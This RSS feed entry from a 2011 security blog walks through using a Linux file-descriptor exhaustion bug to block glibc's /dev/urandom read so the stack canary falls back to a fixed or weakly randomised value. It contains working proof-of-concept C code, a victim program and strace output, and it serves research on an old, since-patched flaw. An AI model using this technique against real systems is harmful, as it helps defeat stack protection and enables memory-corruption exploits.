<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Cipher</title>
	<atom:link href="http://cipher.org.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://cipher.org.uk</link>
	<description>org.uk</description>
	<lastBuildDate>Thu, 30 Jun 2011 10:02:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='cipher.org.uk' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://0.gravatar.com/blavatar/a86b55f737d4b8aa37dbd23638d1f09c?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>Cipher</title>
		<link>http://cipher.org.uk</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://cipher.org.uk/osd.xml" title="Cipher" />
	<atom:link rel='hub' href='http://cipher.org.uk/?pushpress=hub'/>
		<item>
		<title>Taking advantage of File Descriptor exhaustion bugs</title>
		<link>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/</link>
		<comments>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 05:24:34 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[exhaustion]]></category>
		<category><![CDATA[file descriptor]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://cipher.org.uk/?p=601</guid>
		<description><![CDATA[Recently I saw an email at Full Disclosure (here &#38; here?), which provides a typical File Descriptor exhaustion bug and I decided to use it as a demonstration bug for this post. There are situations in which a File Descriptor exhaustion issue can help when trying to take advantage of certain conditions (in many cases [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=601&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Recently I saw an email at Full Disclosure (<a href="http://seclists.org/fulldisclosure/2010/Nov/303">here</a> &amp; <a href="http://marc.info/?l=linux-kernel&amp;m=129055087923940&amp;w=2">here</a>?), which provides a typical File Descriptor exhaustion bug and I decided to use it as a demonstration bug for this post. There are situations in which a File Descriptor exhaustion issue can help when trying to take advantage of certain conditions (in many cases local). In most of these cases exploitation will involve some kind of race condition.</p>
<p>
The example described bellow aims in disabling a Linux security countermeasure and possibly of other OSs which implement the same type of protection in a similar way. Note that below I am demonstrating this issue in older kernel/libc versions due to changes in the way that this protection is implemented in newer versions which protects against this.</p>
<p>Environment:<br />
<code>manos@jaunty:~/p/ke$ uname -a<br />
Linux jaunty 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux<br />
</code><br />
<code>manos@jaunty:~/p/ke$ sudo aptitude show libc6<br />
Package: libc6<br />
State: installed<br />
Automatically installed: no<br />
Version: 2.9-4ubuntu6.3<br />
Priority: required<br />
Section: libs<br />
Maintainer: Ubuntu Core developers<br />
Uncompressed Size: 11.2M<br />
Depends: libgcc1, findutils (&gt;= 4.4.0-2ubuntu2)<br />
Suggests: locales, glibc-doc, libc6-i686<br />
Conflicts: libterm-readline-gnu-perl (&lt; 1.15-2), tzdata (&lt; 2007k-1),<br />
           tzdata-etch, nscd (&lt; 2.9)<br />
Replaces: belocs-locales-bin<br />
Provides: glibc-2.9-1<br />
Description: GNU C Library: Shared libraries<br />
 Contains the standard libraries that are used by nearly all programs on the<br />
 system. This package includes shared versions of the standard C library and the<br />
 standard math library, as well as many others.<br />
</code>*This glibc version was purposely picked.</p>
<p><code>manos@jaunty:~/p/ke$ gcc -v<br />
..<br />
gcc version 4.3.3 (Ubuntu 4.3.3-5ubuntu4) </code></p>
<p>First lets print out the posted poc code:</p>
<pre class="brush: cpp; gutter: false;">
#include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;

static int send_fd (int unix_fd, int fd)
{
struct msghdr msgh;
struct cmsghdr *cmsg;
char buf[CMSG_SPACE (sizeof (fd))];
memset (&amp;msgh, 0, sizeof (msgh));

memset (buf, 0, sizeof (buf));

msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);

cmsg = CMSG_FIRSTHDR (&amp;msgh);
cmsg-&gt;cmsg_len = CMSG_LEN (sizeof (fd));
cmsg-&gt;cmsg_level = SOL_SOCKET;

cmsg-&gt;cmsg_type = SCM_RIGHTS;

msgh.msg_controllen = cmsg-&gt;cmsg_len;

memcpy (CMSG_DATA (cmsg), &amp;fd, sizeof (fd));
return sendmsg (unix_fd, &amp;msgh, 0);
}

int main ()
{

int fd[2], ff[2];

int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
return 1;
for (;;)
{
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
return 2;
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);

close (fd[1]);
close (fd[0]);
fd[0] = ff[0];
fd[1] = ff[1];
}
}
</pre>
<p>Check <a href="http://linux.die.net/man/2/socketpair">here</a> and <a href="http://marc.info/?l=linux-netdev&amp;m=129055394027555&amp;w=2">here</a> if you want to know what is happening.</p>
<p>Next, we are moving to the targeted protection:</p>
<p>file: glibc-2.9/sysdeps/unix/sysv/linux/dl-osinfo.h</p>
<pre class="brush: cpp; gutter: false;">
..
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void)
{
  uintptr_t ret;
#ifdef ENABLE_STACKGUARD_RANDOMIZE
  int fd = __open (&quot;/dev/urandom&quot;, O_RDONLY);
  if (fd &gt;= 0)
    {
      ssize_t reslen = __read (fd, &amp;ret, sizeof (ret));
      __close (fd);
      if (reslen == (ssize_t) sizeof (ret))
	return ret;
    }
#endif
  ret = 0;
  unsigned char *p = (unsigned char *) &amp;ret;
  p[sizeof (ret) - 1] = 255;
  p[sizeof (ret) - 2] = '\n';
  return ret;
}
..
</pre>
<p>It is pretty obvious what our target is. Just in case you didn&#8217;t see it, we want to use our file exhaustion bug and disable the ENABLE_STACKGUARD_RANDOMIZE part of the code and leave only the terminator value (aka ff0a0000) which in certain situations can be overwritten and secure us EIP control.
</p>
<p>we want this unreachable : </p>
<pre class="brush: cpp; gutter: false;">
  if (fd &gt;= 0)
    {
      ssize_t reslen = __read (fd, &amp;ret, sizeof (ret));
      __close (fd);
      if (reslen == (ssize_t) sizeof (ret))
	return ret;
    }
</pre>
<p>
We want fd to return something less than 0. To increase our chances of doing this we are going to modify a little bit our FD exhaustion code : </p>
<pre class="brush: cpp; gutter: false;">
#include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stddef.h&gt;   

//return file-nr array - exit's when there are not enough File Descriptors
int* nr()
{
	char line [100];
	FILE *filenr;
	if((filenr = fopen(&quot;/proc/sys/fs/file-nr&quot;, &quot;r&quot;)) == NULL){printf(&quot;\nOvershoot FDs - exiting\n&quot;);exit(0);}
	fgets ( line, sizeof line, filenr );
	fclose(filenr);
	int out[3];
	sscanf(line, &quot;%d %d %d&quot;, &amp;out[0],&amp;out[1],&amp;out[2]);
return out;
}   

static int send_fd (int unix_fd, int fd)
{
	  struct msghdr msgh;
	  struct cmsghdr *cmsg;
	  char buf[CMSG_SPACE (sizeof (fd))];
	  memset (&amp;msgh, 0, sizeof (msgh));
	  memset (buf, 0, sizeof (buf));
	  msgh.msg_control = buf;
	  msgh.msg_controllen = sizeof (buf);
	  cmsg = CMSG_FIRSTHDR (&amp;msgh);
	  cmsg-&gt;cmsg_len = CMSG_LEN (sizeof (fd));
	  cmsg-&gt;cmsg_level = SOL_SOCKET;
	  cmsg-&gt;cmsg_type = SCM_RIGHTS;
	  msgh.msg_controllen = cmsg-&gt;cmsg_len;
	  memcpy (CMSG_DATA (cmsg), &amp;fd, sizeof (fd));
	  return sendmsg (unix_fd, &amp;msgh, 0);
}    

int crash_loop(int loop)
{

 int fd[3], ff[3];
 int count=0;

  while (count&lt;loop)
  {  

	//Set FD lower limit for shooting out Canary
	int *in = nr();
	int c=in[0],i=in[1],l=in[2]; 

		if (l-c&lt;=80)
		{
		system(&quot;strace -x -e trace=read,open ./m&quot;);
		}              

    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
    return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
	count++;
  }
}

int main (int argc, char *argv[])
{
	printf (&quot;Start Exhaustion Loop\n&quot;);  

    while (1)
		{
	    	crash_loop(1);
        	}
} 
</pre>
<p>
What we added is some control over the loop and nr() which probes /proc/sys/fs/file-nr and gets the current used FDs and the system&#8217;s FD limit. Then we take this array and we set the lower limit of free file descriptors before attempting to &#8220;lock&#8221; access to /dev/urandom. Note that since this process is going to be un-killable we want it to stop at the point where we have no other free descriptors, hence we &#8220;exit&#8221; when we can&#8217;t open /proc/sys/fs/file-nr.  We execute our victim application using strace, as we want to see all the system calls (e.g. open, read). *Note that the use of usleep might come handy if we want to stabilise our free FDs to a certain number, since the method described below is likely to be used in a waiting stabilising process form rather than executing multiple times our target program as described here.
</p>
<p>Now let&#8217;s look our victim application : </p>
<pre class="brush: cpp; gutter: false;">
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;

int main(int argc, char *argv[]) 

  	{   //STACK_CHK_GUARD  -  i386    (stackguard-macros.h)
		uintptr_t x;
		asm (&quot;movl %%gs:0x14, %0&quot; : &quot;=r&quot; (x));
		fprintf(stderr, &quot;Cookie [%%gs:0x14=%0lx]\n\n&quot;,x)    ;
	}
</pre>
<p>We simply take the canary from %gs:0&#215;14 and we print it out. If we execute it with strace we get the following : </p>
<p><code>brk(0)                                  = 0x8b3e000<br />
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8000000<br />
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0<br />
mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ff3000<br />
close(3)                                = 0<br />
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\.."..., 512) = 512<br />
fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0<br />
mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e90000<br />
mprotect(0xb7fec000, 4096, PROT_NONE)   = 0<br />
mmap2(0xb7fed000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb7fed000<br />
mmap2(0xb7ff0000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ff0000<br />
close(3)                                = 0<br />
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e8f000<br />
set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xb7e8f6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0<br />
open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\xc9\x6e\xa8"..., 3)           = 3<br />
close(3)                                = 0<br />
mprotect(0xb7fed000, 8192, PROT_READ)   = 0<br />
mprotect(0x8049000, 4096, PROT_READ)    = 0<br />
mprotect(0xb801f000, 4096, PROT_READ)   = 0<br />
munmap(0xb7ff3000, 50808)               = 0<br />
write(2, "Cookie [%gs:0x14=a86ec900]\n\n"..., 28Cookie [%gs:0x14=a86ec900]) = 28<br />
exit_group(28)                         = ?</code></p>
<p>We can clearly see that : </p>
<p><code>open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\xc9\x6e\xa8"..., 3)           = 3</code></p>
<p>and our canary is a86ec900 (little endian + 1 null byte)</p>
<p>Now that we have everything set let&#8217;s see what happens when we execute our code: </p>
<p><code>manos@jaunty:~/p/ke$./pp&amp;<br />
Start Exhaustion Loop<br />
.<br />
.<br />
.<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00....., 512) = 512<br />
open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\x04\xe8\x8e"..., 3)           = 3<br />
Cookie [%gs:0x14=8ee80400]<br />
open("/etc/ld.so.cache", O_RDONLY)      = 0<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x0.."..., 512) = 512<br />
open("/dev/urandom", O_RDONLY)          = 0<br />
read(0, "ATX"..., 3)                    = 3<br />
Cookie [%gs:0x14=58544100]<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03.."..., 512) = 512<br />
<strong>open("/dev/urandom", O_RDONLY)          = -1 ENFILE (Too many open files in system)<br />
Cookie [%gs:0x14=a967000]</strong></code><br />
<code>Overshoot FDs - exiting</code></p>
<p>As we can see, after some executions we managed to block ENABLE_STACKGUARD_RANDOMIZE with an ENFILE error and jump straight after the if statement. Clearly we should have seen ff0a0000 here. After some more tries we observe the following canary values (for fd =-1) : </p>
<p><code>..<br />
0xe8537000<br />
0x1c0d7000<br />
0x146c7000<br />
0xe8b0f000<br />
0x1d487000<br />
0x13d2f000<br />
0x15caf000<br />
 0x7c3f000<br />
0xe1b47000<br />
 0x6e77000<br />
0xe5a47000<br />
0x1ab7f000<br />
0xf4237000<br />
0x1978f000<br />
0xe584f000<br />
 0x5287000<br />
0x18de7000<br />
 0xb517000<br />
0x1311f000<br />
0xf1f47000<br />
 0x310f000<br />
0xfe0b7000<br />
0xf7ccf000<br />
0xff2ff000<br />
0xf8d07000<br />
 0x6e77000<br />
0xf35ef000<br />
0xf0f07000<br />
0xe21af000<br />
0xf1b57000<br />
0xb71f000<br />
0x1c0d7000<br />
<strong>0xe9f5f000<br />
0xe832f000<br />
0xe8f1f000<br />
0xed26f000<br />
0xee4b7000</strong><br />
0x83cf000<br />
0xeb1e7000<br />
0xc0c7000<br />
0xf9f4f000<br />
..</code></p>
<p>Some modification is happening on the terminator canary.</p>
<p>If we get libc6 along with glibc_2.9-4ubuntu6.3.diff and inspect the patch, we see the following lines added within dl-osinfo.h : </p>
<pre class="brush: cpp; gutter: false;">
+@@ -77,5 +80,31 @@
+   unsigned char *p = (unsigned char *) &amp;ret;
+   p[sizeof (ret) - 1] = 255;
+   p[sizeof (ret) - 2] = '\n';
++#ifdef HP_TIMING_NOW
++  hp_timing_t hpt;
++  HP_TIMING_NOW (hpt);
++  hpt = (hpt &amp; 0xffff) &lt;&lt; 8;
++  ret ^= hpt;
++#endif
++  uintptr_t stk;
++  /* Avoid GCC being too smart.  */
++  asm (&quot;&quot; : &quot;=r&quot; (stk) : &quot;r&quot; (p));
++  stk &amp;= 0x7ffff0;
++#if __BYTE_ORDER == __LITTLE_ENDIAN
++  stk &lt;&lt;= (__WORDSIZE - 23);
++#elif __WORDSIZE == 64
++  stk &lt;&lt;= 31;
++#endif
++  ret ^= stk;
++  /* Avoid GCC being too smart.  */
++  p = (unsigned char *) &amp;errno;
++  asm (&quot;&quot; : &quot;=r&quot; (stk) : &quot;r&quot; (p));
++  stk &amp;= 0x7fff00;
++#if __BYTE_ORDER == __LITTLE_ENDIAN
++  stk &lt;&lt;= (__WORDSIZE - 29);
++#else
++  stk &gt;&gt;= 8;
++#endif
++  ret ^= stk;
+   return ret; ;
</pre>
<p>This patch is XORing the value of ret (terminator value) with the current CPU tick counter (taken from rdtsc). Then the array&#8217;s (p) address is used (as additional entropy) and the rest can be replicated by us, so the patch adds some fair and cheap trickery (<a href="http://www.mail-archive.com/debian-glibc@lists.debian.org/msg42655.html">poor man&#8217;s randomisation</a>) &#8211; *while I was writing this post, <a href="http://vexillium.org/dl.php?/Windows_Kernel-mode_GS_Cookies_subverted.pdf">this</a> was published, which shows that windows kernel mode canary generation is similar to the above.<br />
</p>
<p>To make sure that a glibc version without the stack-guard-quick-randomization.diff applied is giving ff0a0000 (even though we can confirm this with strace), we recompile glibc without this patch. This will save us some time of looking around to find a distro without this patch applied (we just comment out all XOR operations).</p>
<p>So lets run pp again :<br />
<code>manos@jaunty:~/p/ke$./pp&amp;<br />
Start Exhaustion Loop<br />
.<br />
.<br />
.<br />
[b80a70d4] open("/etc/ld.so.cache", O_RDONLY) = 0<br />
[b80a70d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
[b80a7154] read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00.."..., 512) = 512<br />
[b80a70d4] open("/dev/urandom", O_RDONLY) = 0<br />
[b80a7154] read(0, "\x17\x7f\x77"..., 3) = 3<br />
Cookie [%gs:0x14=777f1700]<br />
[b7f7e0d4] open("/etc/ld.so.cache", O_RDONLY) = 3<br />
[b7f7e0d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
[b7f7e154] read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\..."..., 512) = 512<br />
[b7f7e0d4] open("/dev/urandom", O_RDONLY) = 3<br />
[b7f7e154] read(3, "\x70\xec\x1e"..., 3) = 3<br />
Cookie [%gs:0x14=1eec7000]<br />
[b80f10d4] open("/etc/ld.so.cache", O_RDONLY) = 0<br />
[b80f10d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
[b80f1154] read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00..."..., 512) = 512<br />
[b80f10d4] open("/dev/urandom", O_RDONLY) = 0<br />
[b80f1154] read(0, "\x64\x95\xb7"..., 3) = 3<br />
Cookie [%gs:0x14=b7956400]<br />
[b808a0d4] open("/etc/ld.so.cache", O_RDONLY) = 3<br />
[b808a0d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
[b808a154] read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00..."..., 512) = 512<br />
[b808a0d4] open("/dev/urandom", O_RDONLY) = -1 ENFILE (Too many open files in system)<br />
<strong>Cookie [%gs:0x14=ff0a0000]</strong></code><br />
<code>Overshoot FDs - exiting<br />
</code><br />
<strong>We are now certain that a simple File Descriptor exhaustion bug can assist in disabling canary stack randomisation.</strong> It is worth mentioning that /dev/urandom was dropped mainly on performance and not security implications of FD hijacking or shortage. </p>
<p>As this post is focused on disabling the ENABLE_STACKGUARD_RANDOMIZE we are not going to analyse ways of guessing/determing  stack-guard-quick-randomization.diff entropy points, however going back to the patched version and based solely on visual canary value observations, we can see that we significantly reduced the canary space from 16777215  to almost 65535. <strong>rdtsc</strong> can be predicted with some decent accuracy in a low/medium usage uniprocessor systems, during non-context switched execution, but we save this for another time.
</p>
<p>
Below is a simple patch for strace &#8211; which prints rdtsc at each &#8220;syscal exit&#8221; (trace_syscall_exiting) &#8211; <em>It is not accurate but it can be used for roughly observing tick jumps</em></p>
<pre class="brush: cpp; gutter: false;">
--- syscall.c
+++ syscall.c
@@ -109,7 +109,7 @@
 #define TN TRACE_NETWORK
 #define TP TRACE_PROCESS
 #define TS TRACE_SIGNAL
-
+#define HP_TIMING_NOW(Var)	__asm__ __volatile__ (&quot;rdtsc&quot; : &quot;=A&quot; (Var))
 static const struct sysent sysent0[] = {
 #include &quot;syscallent.h&quot;
 };
@@ -2520,7 +2520,8 @@
 			(long) tv.tv_sec, (long) tv.tv_usec);
 	}
 	printtrailer();
-
+	HP_TIMING_NOW (hpt);
+	tprintf(&quot; rdtsc : %lld   &quot;,hpt );
 	dumpio(tcp);
 	if (fflush(tcp-&gt;outf) == EOF)
 		return -1;
</pre>
<p>The output of strace with the rdtsc out is :<br />
<code>execve("./m", ["./m"], [/* 20 vars */]) = 0<br />
		 rdtsc : 170812617327520   brk(0)                                  = 0x9a62000<br />
		 rdtsc : 170812617944640   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812618580380   mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8083000<br />
		 rdtsc : 170812618926180   access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812619351780   open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
		 rdtsc : 170812619758760   fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0<br />
		 rdtsc : 170812620131160   mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb8076000<br />
		 rdtsc : 170812620421100   close(3)                                = 0<br />
		 rdtsc : 170812620785520   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812621126000   open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
		 rdtsc : 170812621530320   read(3, "\177ELF\1\1\1\3\3\1\320h\1004"..., 512) = 512<br />
		 rdtsc : 170812621830900   fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0<br />
		 rdtsc : 170812622221920   mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7f13000<br />
		 rdtsc : 170812622559740   mprotect(0xb806f000, 4096, PROT_NONE)   = 0<br />
		 rdtsc : 170812622852340   mmap2(0xb8070000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb8070000<br />
		 rdtsc : 170812623144940   mmap2(0xb8073000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb8073000<br />
		 rdtsc : 170812623490740   close(3)                                = 0<br />
		 rdtsc : 170812623831220   mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f12000<br />
		 rdtsc : 170812624230220   set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xb7f126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0<br />
		 rdtsc : 170812624568040   open("/dev/urandom", O_RDONLY)          = 3<br />
		 rdtsc : 170812624900540   read(3, "\247\33'", 3)                  = 3<br />
		 rdtsc : 170812625185160   close(3)                                = 0<br />
		 rdtsc : 170812625453820   mprotect(0xb8070000, 8192, PROT_READ)   = 0<br />
		 rdtsc : 170812626110840   mprotect(0x8049000, 4096, PROT_READ)    = 0<br />
		 rdtsc : 170812626430040   mprotect(0xb80a2000, 4096, PROT_READ)   = 0<br />
		 rdtsc : 170812626757220   munmap(0xb8076000, 50808)               = 0<br />
		 rdtsc : 170812627081740   write(2, "\nUSAGE: 1 (print Canary), 2 (ter"..., 52<br />
		USAGE: 1 (print Canary), 2 (terminator owerwrite)) = 52<br />
		 rdtsc : 170812627674920   exit_group(52)                          = ?<br />
</code>
</p>
<p><font color="green">For other possible FD exhaustion targets you can look <a href="http://www.google.com/codesearch?hl=en&amp;lr=&amp;q=lang%3AC+if%5C%28fd%3E%3D0&amp;sbtn=Search">here</a></font>.</p>
<p>
I didn&#8217;t explain some things since they have been discussed before, so if you have unanswered questions have a look below  :</p>
<li><a href="http://www.trl.ibm.com/projects/security/ssp/">http://www.trl.ibm.com/projects/security/ssp/</a></li>
<li><a href="http://www.phrack.org/issues.html?issue=67&amp;id=13">http://www.phrack.org/issues.html?issue=67&amp;id=13 </a></li>
<li><a href="http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html">http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html</a></li>
<li><a href="http://cwe.mitre.org/data/definitions/769.html">http://cwe.mitre.org/data/definitions/769.html</a></li>
<li><a href="http://en.wikipedia.org/wiki/Time_Stamp_Counter">http://en.wikipedia.org/wiki/Time_Stamp_Counter</a></li>
<li><a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811">http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811</a></li>
<li><a href="https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493">https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493</a></li>
<li><a href="http://sourceware.org/bugzilla/show_bug.cgi?id=10149">http://sourceware.org/bugzilla/show_bug.cgi?id=10149</a></li>
<li><a href="http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/">http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/</a></li>
<li><a href="http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/">http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/</a></li>
<br /> Tagged: <a href='http://cipher.org.uk/tag/bugs/'>Bugs</a>, <a href='http://cipher.org.uk/tag/exhaustion/'>exhaustion</a>, <a href='http://cipher.org.uk/tag/file-descriptor/'>file descriptor</a>, <a href='http://cipher.org.uk/tag/linux/'>linux</a>, <a href='http://cipher.org.uk/tag/security/'>Security</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/601/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=601&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Read registers with ruby</title>
		<link>http://cipher.org.uk/2009/08/19/read-registers-with-ruby/</link>
		<comments>http://cipher.org.uk/2009/08/19/read-registers-with-ruby/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 18:04:28 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[registers]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://cipher.org.uk/?p=450</guid>
